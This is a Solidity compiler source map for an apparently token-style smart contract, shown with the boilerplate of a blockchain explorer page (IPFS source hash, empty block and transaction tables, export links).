2089:1;1852:246;-1:-1:-1;;;1852:246:0:o;2106:132::-;2164:7;2191:39;2195:1;2198;2191:39;;;;;;;;;;;;;;;;;:3;:39::i;9737:98::-;9794:7;9821:1;9819;:3;9818:9;;9826:1;9818:9;;;-1:-1:-1;9824:1:0;9737:98;-1:-1:-1;9737:98:0:o;10046:655::-;5381:6;:13;;-1:-1:-1;;;;5381:13:0;-1:-1:-1;;;5381:13:0;;;10166:16:::1;::::0;;10180:1:::1;10166:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10166:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10166:16:0::1;10142:40;;10211:4;10193;10198:1;10193:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10193:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10237:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10237:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10193:7;;10237:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10227:4;10232:1;10227:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10227:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10307:16:::1;::::0;10270:15:::1;:54:::0;;-1:-1:-1;;;;;;10270:54:0::1;10307:16:::0;;;::::1;10270:54:::0;;::::1;::::0;;;10335:60:::1;::::0;10344:8;;-1:-1:-1;;10335:8:0::1;:60::i;:::-;10406:15;:80:::0;;-1:-1:-1;;;;;;10406:80:0::1;10443:42;10406:80:::0;;::::1;::::0;;;10497:196:::1;::::0;-1:-1:-1;;;10497:196:0;;:66:::1;::::0;:196:::1;::::0;10578:11;;10406:15:::1;::::0;10620:4;;10647::::1;::::0;10667:15:::1;::::0;10497:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5417:6:0;:14;;-1:-1:-1;;;;5417:14:0;;;-1:-1:-1;;;;;10046:655:0:o;10876:92::-;10933:10;;:27;;-1:-1:-1;;;;;10933:10:0;;;;:27;;;;;10953:6;;10933:10;:27;:10;:27;10953:6;10933:10;:27;;;;;;;;;;;;;;;;;;;1323:179;1381:7;;1413:5;1417:1;1413;:5;:::i;:::-;1401:17;;1442:1;1437;:6;;1429:46;;;;-1:-1:-1;;;1429:46:0;;13269:2:1;1429:46:0;;;13251:21:1;13308:2;13288:18;;;13281:30;13347:29;13327:18;;;13320:57;13394:18;;1429:46:0;13067:351:1;1510:136:0;1568:7;1595:43;1599:1;1602;1595:43;;;;;;;;;;;;;;;;;:3;:43::i;2246:189::-;2332:7;2367:12;2360:5;2352:28;;;;-1:-1:-1;;;2352:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2391:9:0;2403:5;2407:1;2403;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:127::-;2247:10;2242:3;2238:20;2235:1;2228:31;2278:4;2275:1;2268:15;2302:4;2299:1;2292:15;2318:1121;2402:6;2433:2;2476;2464:9;2455:7;2451:23;2447:32;2444:52;;;2492:1;2489;2482:12;2444:52;2532:9;2519:23;2561:18;2602:2;2594:6;2591:14;2588:34;;;2618:1;2615;2608:12;2588:34;2656:6;2645:9;2641:22;2631:32;;2701:7;2694:4;2690:2;2686:13;2682:27;2672:55;;2723:1;2720;2713:12;2672:55;2759:2;2746:16;2781:2;2777;2774:10;2771:36;;;2787:18;;:::i;:::-;2833:2;2830:1;2826:10;2865:2;2859:9;2928:2;2924:7;2919:2;2915;2911:11;2907:25;2899:6;2895:38;2983:6;2971:10;2968:22;2963:2;2951:10;2948:18;2945:46;2942:72;;;2994:18;;:::i;:::-;3030:2;3023:22;3080:18;;;3114:15;;;;-1:-1:-1;3156:11:1;;;3152:20;;;3184:19;;;3181:39;;;3216:1;3213;3206:12;3181:39;3240:11;;;;3260:148;3276:6;3271:3;3268:15;3260:148;;;3342:23;3361:3;3342:23;:::i;:::-;3330:36;;3293:12;;;;3386;;;;3260:148;;;3427:6;2318:1121;-1:-1:-1;;;;;;;;2318:1121:1:o;3444:247::-;3503:6;3556:2;3544:9;3535:7;3531:23;3527:32;3524:52;;;3572:1;3569;3562:12;3524:52;3611:9;3598:23;3630:31;3655:5;3630:31;:::i;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:127::-;4358:10;4353:3;4349:20;4346:1;4339:31;4389:4;4386:1;4379:15;4413:4;4410:1;4403:15;4429:422;4518:1;4561:5;4518:1;4575:270;4596:7;4586:8;4583:21;4575:270;;;4655:4;4651:1;4647:6;4643:17;4637:4;4634:27;4631:53;;;4664:18;;:::i;:::-;4714:7;4704:8;4700:22;4697:55;;;4734:16;;;;4697:55;4813:22;;;;4773:15;;;;4575:270;;;4579:3;4429:422;;;;;:::o;4856:806::-;4905:5;4935:8;4925:80;;-1:-1:-1;4976:1:1;4990:5;;4925:80;5024:4;5014:76;;-1:-1:-1;5061:1:1;5075:5;;5014:76;5106:4;5124:1;5119:59;;;;5192:1;5187:130;;;;5099:218;;5119:59;5149:1;5140:10;;5163:5;;;5187:130;5224:3;5214:8;5211:17;5208:43;;;5231:18;;:::i;:::-;-1:-1:-1;;5287:1:1;5273:16;;5302:5;;5099:218;;5401:2;5391:8;5388:16;5382:3;5376:4;5373:13;5369:36;5363:2;5353:8;5350:16;5345:2;5339:4;5336:12;5332:35;5329:77;5326:159;;;-1:-1:-1;5438:19:1;;;5470:5;;5326:159;5517:34;5542:8;5536:4;5517:34;:::i;:::-;5587:6;5583:1;5579:6;5575:19;5566:7;5563:32;5560:58;;;5598:18;;:::i;:::-;5636:20;;4856:806;-1:-1:-1;;;4856:806:1:o;5667:140::-;5725:5;5754:47;5795:4;5785:8;5781:19;5775:4;5754:47;:::i;5812:168::-;5885:9;;;5916;;5933:15;;;5927:22;;5913:37;5903:71;;5954:18;;:::i;5985:356::-;6187:2;6169:21;;;6206:18;;;6199:30;6265:34;6260:2;6245:18;;6238:62;6332:2;6317:18;;5985:356::o;6346:127::-;6407:10;6402:3;6398:20;6395:1;6388:31;6438:4;6435:1;6428:15;6462:4;6459:1;6452:15;6478:135;6517:3;6538:17;;;6535:43;;6558:18;;:::i;:::-;-1:-1:-1;6605:1:1;6594:13;;6478:135::o;6970:251::-;7040:6;7093:2;7081:9;7072:7;7068:23;7064:32;7061:52;;;7109:1;7106;7099:12;7061:52;7141:9;7135:16;7160:31;7185:5;7160:31;:::i;8147:306::-;8235:6;8243;8251;8304:2;8292:9;8283:7;8279:23;8275:32;8272:52;;;8320:1;8317;8310:12;8272:52;8349:9;8343:16;8333:26;;8399:2;8388:9;8384:18;8378:25;8368:35;;8443:2;8432:9;8428:18;8422:25;8412:35;;8147:306;;;;;:::o;10840:125::-;10905:9;;;10926:10;;;10923:36;;;10939:18;;:::i;11325:217::-;11365:1;11391;11381:132;;11435:10;11430:3;11426:20;11423:1;11416:31;11470:4;11467:1;11460:15;11498:4;11495:1;11488:15;11381:132;-1:-1:-1;11527:9:1;;11325:217::o;11547:128::-;11614:9;;;11635:11;;;11632:37;;;11649:18;;:::i;12082:980::-;12344:4;12392:3;12381:9;12377:19;12423:6;12412:9;12405:25;12449:2;12487:6;12482:2;12471:9;12467:18;12460:34;12530:3;12525:2;12514:9;12510:18;12503:31;12554:6;12589;12583:13;12620:6;12612;12605:22;12658:3;12647:9;12643:19;12636:26;;12697:2;12689:6;12685:15;12671:29;;12718:1;12728:195;12742:6;12739:1;12736:13;12728:195;;;12807:13;;-1:-1:-1;;;;;12803:39:1;12791:52;;12898:15;;;;12863:12;;;;12839:1;12757:9;12728:195;;;-1:-1:-1;;;;;;;12979:32:1;;;;12974:2;12959:18;;12952:60;-1:-1:-1;;;13043:3:1;13028:19;13021:35;12940:3;12082:980;-1:-1:-1;;;12082:980:1:o

Swarm Source

ipfs://fa3e624172d1366e416261242cb1205ab55b63237291bf4aa152748aab74f7a2

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.